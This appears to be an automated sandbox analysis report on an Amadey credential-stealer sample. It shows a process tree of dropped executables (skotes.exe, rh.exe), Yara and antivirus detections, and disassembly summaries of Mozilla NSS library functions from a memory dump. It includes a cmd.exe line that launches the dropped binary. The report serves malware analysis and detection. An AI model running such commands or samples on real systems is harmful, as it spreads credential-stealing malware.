Show Windows behavior

Target ID:	26
Start time:	22:21:03
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJDGCGHCGHC.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	22:21:03
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	22:21:04
Start date:	23/11/2024
Path:	C:\Users\user\DocumentsJDGCGHCGHC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsJDGCGHCGHC.exe"
Imagebase:	0x1f0000
File size:	1'921'024 bytes
MD5 hash:	5CA58D76EDC0E7291BF3D6BAD7EDBBE9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000002.2765391942.00000000001F1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000003.2723817115.00000000049F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 55%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	22:21:07
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xc30000
File size:	1'921'024 bytes
MD5 hash:	5CA58D76EDC0E7291BF3D6BAD7EDBBE9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001D.00000003.2773428393.0000000004A80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001D.00000002.2817104991.0000000000C31000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Antivirus matches:	Detection: 55%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	22:21:07
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xc30000
File size:	1'921'024 bytes
MD5 hash:	5CA58D76EDC0E7291BF3D6BAD7EDBBE9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001E.00000002.2817525891.0000000000C31000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001E.00000003.2775957825.0000000004810000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	22:21:35
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6120 --field-trial-handle=2032,i,13800735472170156526,8368186768168770394,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	22:22:00
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xc30000
File size:	1'921'024 bytes
MD5 hash:	5CA58D76EDC0E7291BF3D6BAD7EDBBE9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000003.3283014873.0000000004CD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000002.3436986660.0000000000C31000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	22:22:15
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008589001\rh.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008589001\rh.exe"
Imagebase:	0xd20000
File size:	1'984'512 bytes
MD5 hash:	4CECB04D97630CC2D5CCE80368B87FDD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 42%, ReversingLabs
Has exited:	false

Show Windows behavior

Function 6CAA6E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CBF2120,6CAA7E60), ref: 6CAA6EBC
TlsGetValue.KERNEL32 ref: 6CAA6EDF
EnterCriticalSection.KERNEL32(?), ref: 6CAA6EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CAA6F25

Part of subcall function 6CA7A900: TlsGetValue.KERNEL32(00000000,?,6CBF14E4,?,6CA14DD9), ref: 6CA7A90F
Part of subcall function 6CA7A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CA7A94F

PR_Unlock.NSS3 ref: 6CAA6F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CAA6FA9
TlsGetValue.KERNEL32 ref: 6CAA70B4
EnterCriticalSection.KERNEL32(?), ref: 6CAA70C8
PR_CallOnce.NSS3(6CBF24C0,6CAE7590), ref: 6CAA7104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAA7117
SECOID_Init.NSS3 ref: 6CAA7128
PORT_Alloc_Util.NSS3(00000057), ref: 6CAA714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA71A9
PR_NotifyAllCondVar.NSS3 ref: 6CAA71CF
PR_Unlock.NSS3 ref: 6CAA71DD
free.MOZGLUE(?), ref: 6CAA71EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAA7208
free.MOZGLUE(00000000), ref: 6CAA7221
free.MOZGLUE(00000001), ref: 6CAA7235
TlsGetValue.KERNEL32 ref: 6CAA724A
EnterCriticalSection.KERNEL32(?), ref: 6CAA725E
PR_NotifyCondVar.NSS3 ref: 6CAA7273
PR_Unlock.NSS3 ref: 6CAA7281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CAA7291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA72B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA72D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA72E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA7301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA7310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA7335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA7344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA7363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA7372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CBE0148,,defaultModDB,internalKeySlot), ref: 6CAA74CC
free.MOZGLUE(00000000), ref: 6CAA7513
free.MOZGLUE(00000000), ref: 6CAA751B
free.MOZGLUE(00000000), ref: 6CAA7528
free.MOZGLUE(00000000), ref: 6CAA753C
free.MOZGLUE(00000000), ref: 6CAA7550
free.MOZGLUE(00000000), ref: 6CAA7561
free.MOZGLUE(00000000), ref: 6CAA7572
free.MOZGLUE(00000000), ref: 6CAA7583
free.MOZGLUE(00000000), ref: 6CAA7594
free.MOZGLUE(00000000), ref: 6CAA75A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CAA75BD
free.MOZGLUE(00000000), ref: 6CAA75C8
free.MOZGLUE(00000000), ref: 6CAA75F1
PR_NewLock.NSS3 ref: 6CAA7636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CAA7686
PR_NewLock.NSS3 ref: 6CAA76A2

Part of subcall function 6CB598D0: calloc.MOZGLUE(00000001,00000084,6CA80936,00000001,?,6CA8102C), ref: 6CB598E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CAA76B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CAA7707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CAA771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CAA7731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CAA774A
DeleteCriticalSection.KERNEL32(?), ref: 6CAA7770
free.MOZGLUE(?), ref: 6CAA7779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAA779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAA77AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CAA77C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CAA77DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CAA7821
PORT_Alloc_Util.NSS3(?), ref: 6CAA7837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAA785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CAA786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CAA78AC
free.MOZGLUE(00000000), ref: 6CAA78BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CAA78F3
free.MOZGLUE(00000000), ref: 6CAA78FC
free.MOZGLUE(00000000), ref: 6CAA791C

Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807AD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807CD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807D6
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA1204A), ref: 6CA807E4
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,6CA1204A), ref: 6CA80864
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA80880
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,6CA1204A), ref: 6CA808CB
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808D7
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808FB

Strings

name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CAA74C7
dll, xrefs: 6CAA788E
rdb:, xrefs: 6CAA7744
NSS Internal Module, xrefs: 6CAA74A2, 6CAA74C6
,defaultModDB,internalKeySlot, xrefs: 6CAA748D, 6CAA74AA
kbi., xrefs: 6CAA7886
dbm:, xrefs: 6CAA7716
extern:, xrefs: 6CAA772B
Spac, xrefs: 6CAA7389
sql:, xrefs: 6CAA76FE

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: ca57b1ac3b6b63511018053b83b75e81fc0e064be3a8e482fb7e88eccbaf4255
Instruction ID: ff04a2d39c9c978e5ac43a39791ed2192ae83ca45a7628ffed6ed5a5366aedb8
Opcode Fuzzy Hash: ca57b1ac3b6b63511018053b83b75e81fc0e064be3a8e482fb7e88eccbaf4255
Instruction Fuzzy Hash: 1F5204B1E012519BEF118FA4DD057AF7BB4AF09308F184028EC19E7B55E731D99ACB92

Function 6CACBFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6CACC0C8

Part of subcall function 6CB59440: LeaveCriticalSection.KERNEL32 ref: 6CB595CD
Part of subcall function 6CB59440: TlsGetValue.KERNEL32 ref: 6CB59622
Part of subcall function 6CB59440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6CB5964E

PR_EnterMonitor.NSS3 ref: 6CACC0AE

Part of subcall function 6CB59090: LeaveCriticalSection.KERNEL32 ref: 6CB591AA
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB59212
Part of subcall function 6CB59090: _PR_MD_WAIT_CV.NSS3 ref: 6CB5926B

Part of subcall function 6CA80600: GetLastError.KERNEL32(?,?,?,?,?,6CA805E2), ref: 6CA80642
Part of subcall function 6CA80600: TlsGetValue.KERNEL32(?,?,?,?,?,6CA805E2), ref: 6CA8065D
Part of subcall function 6CA80600: GetLastError.KERNEL32 ref: 6CA80678
Part of subcall function 6CA80600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6CA8068A
Part of subcall function 6CA80600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA80693
Part of subcall function 6CA80600: PR_SetErrorText.NSS3(00000000,?), ref: 6CA8069D
Part of subcall function 6CA80600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,5A50AEA9,?,?,?,?,?,6CA805E2), ref: 6CA806CA
Part of subcall function 6CA80600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6CA805E2), ref: 6CA806E6

PR_EnterMonitor.NSS3 ref: 6CACC0F2
PR_ExitMonitor.NSS3 ref: 6CACC10E
PR_ExitMonitor.NSS3 ref: 6CACC081

Part of subcall function 6CB59440: TlsGetValue.KERNEL32 ref: 6CB5945B
Part of subcall function 6CB59440: TlsGetValue.KERNEL32 ref: 6CB59479
Part of subcall function 6CB59440: EnterCriticalSection.KERNEL32 ref: 6CB59495
Part of subcall function 6CB59440: TlsGetValue.KERNEL32 ref: 6CB594E4
Part of subcall function 6CB59440: TlsGetValue.KERNEL32 ref: 6CB59532
Part of subcall function 6CB59440: LeaveCriticalSection.KERNEL32 ref: 6CB5955D

PR_EnterMonitor.NSS3 ref: 6CACC068

Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590AB
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590C9
Part of subcall function 6CB59090: EnterCriticalSection.KERNEL32 ref: 6CB590E5
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB59116
Part of subcall function 6CB59090: LeaveCriticalSection.KERNEL32 ref: 6CB5913F

Part of subcall function 6CA80600: GetProcAddress.KERNEL32(?,?), ref: 6CA80623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6CACC14F
PR_LoadLibraryWithFlags.NSS3 ref: 6CACC183
free.MOZGLUE(00000000), ref: 6CACC18E
PR_LoadLibrary.NSS3(?), ref: 6CACC1A3
PR_EnterMonitor.NSS3 ref: 6CACC1D4
PR_ExitMonitor.NSS3 ref: 6CACC1F3
PR_CallOnce.NSS3(6CBF2318,6CACCA70), ref: 6CACC210
PR_EnterMonitor.NSS3 ref: 6CACC22B
PR_ExitMonitor.NSS3 ref: 6CACC247
PR_EnterMonitor.NSS3 ref: 6CACC26A
PR_ExitMonitor.NSS3 ref: 6CACC287
PR_UnloadLibrary.NSS3(?), ref: 6CACC2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6CACC392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CACC3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6CACC3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6CACC782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6CACC7B5
PR_UnloadLibrary.NSS3(?), ref: 6CACC7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6CACC82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CACC8BF
PORT_Alloc_Util.NSS3(?), ref: 6CACC8D5
free.MOZGLUE(00000000), ref: 6CACC900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CACC9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CACC9E5
free.MOZGLUE(00000000), ref: 6CACCA5A

Strings

FC_GetFunctionList, xrefs: 6CACC098
NSS_DEBUG_PKCS11_MODULE, xrefs: 6CACC38D
NSC_GetInterface, xrefs: 6CACC04F
NSS_ReturnModuleSpecData, xrefs: 6CACC275
PKCS 11, xrefs: 6CACC2F9, 6CACC314
Vendor NSS FIPS Interface, xrefs: 6CACC34A
NSS_DISABLE_UNLOAD, xrefs: 6CACC7B0
NSC_ModuleDBFunc, xrefs: 6CACC0FC
NSS_FORCE_TOKEN_LOCK, xrefs: 6CACC77D
NSC_GetFunctionList, xrefs: 6CACC093
FC_GetInterface, xrefs: 6CACC054
nss_mod_log, xrefs: 6CACC3CC

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 2ee43ff02616962345d5d77b7dba8e6db5f518d18e189916099c734f5e3cbc10
Instruction ID: b65162cdd31394c03fd534907622f8bfa19fcee998792e934d7c55024d089260
Opcode Fuzzy Hash: 2ee43ff02616962345d5d77b7dba8e6db5f518d18e189916099c734f5e3cbc10
Instruction Fuzzy Hash: F3425EB5B002849FDB04DF68E98ABAA7BB5FB45308F040029D8259FB11E731D995CB97

Function 6CBA3FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6CBA3FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CBA3FFE
malloc.MOZGLUE(-00000003), ref: 6CBA4016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6CBDFC62), ref: 6CBA404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CBA407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CBA40A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CBA40D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CBA4112
malloc.MOZGLUE(00000000), ref: 6CBA411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6CBA414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CBA4160
free.MOZGLUE(?), ref: 6CBA416C
malloc.MOZGLUE(?), ref: 6CBA41AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6CBA41EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6CBA4520), ref: 6CBA4244
GetEnvironmentStrings.KERNEL32 ref: 6CBA424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBA4263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBA4283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBA42B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBA42E4
malloc.MOZGLUE(00000002), ref: 6CBA42FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CBA4342
GetStdHandle.KERNEL32(000000F6), ref: 6CBA43AB
GetStdHandle.KERNEL32(000000F5), ref: 6CBA43B2
GetStdHandle.KERNEL32(000000F4), ref: 6CBA43B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CBA4403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CBA4410

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6CBA445E
CloseHandle.KERNEL32(?), ref: 6CBA446B
free.MOZGLUE(?), ref: 6CBA4482
free.MOZGLUE(00000000), ref: 6CBA4492
free.MOZGLUE(00000000), ref: 6CBA44A4
GetLastError.KERNEL32 ref: 6CBA44B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6CBA44BE
free.MOZGLUE(?), ref: 6CBA44C7
free.MOZGLUE(00000000), ref: 6CBA44D5
free.MOZGLUE(00000000), ref: 6CBA44EA

Strings

NSPR_INHERIT_FDS=, xrefs: 6CBA41E9
=, xrefs: 6CBA44F8
D, xrefs: 6CBA4396

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 25be64776364fe87ba00904673af8971bb28a4586a1dcb0eac0196b50ec95c00
Instruction ID: c741d6729bbc5f677b909bedd8d4add45c0241dbd4d98607e598ebd830891e87
Opcode Fuzzy Hash: 25be64776364fe87ba00904673af8971bb28a4586a1dcb0eac0196b50ec95c00
Instruction Fuzzy Hash: 1102E670E083919FEB109FE9888075EBBB4EF19348F245129DC95A7741DF71A806CF92

Function 6CAB6D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CBBA8EC,0000006C), ref: 6CAB6DC6
memcpy.VCRUNTIME140(?,6CBBA958,0000006C), ref: 6CAB6DDB
memcpy.VCRUNTIME140(?,6CBBA9C4,00000078), ref: 6CAB6DF1
memcpy.VCRUNTIME140(?,6CBBAA3C,0000006C), ref: 6CAB6E06
memcpy.VCRUNTIME140(?,6CBBAAA8,00000060), ref: 6CAB6E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAB6E38

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CAB6E76
TlsGetValue.KERNEL32 ref: 6CAB726F
EnterCriticalSection.KERNEL32(?), ref: 6CAB7283

Strings

!, xrefs: 6CAB7123

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: be4fbda69924abbdefb57c41bb3067b9a18b35fbff3bdcb85a1cde692392293e
Instruction ID: 87f982c79e9f0ab88fd6443db71cc57d09e14bd378f82829fe15ec69bae55e05
Opcode Fuzzy Hash: be4fbda69924abbdefb57c41bb3067b9a18b35fbff3bdcb85a1cde692392293e
Instruction Fuzzy Hash: 96728D75D052199FDB60DF28DC88B9ABBB5BF48304F1441A9E80DA7701EB71AAC4CF91

Function 6CA23C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA23C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CA23D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA23EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA23ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA23F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA24052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA2406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CA2410D
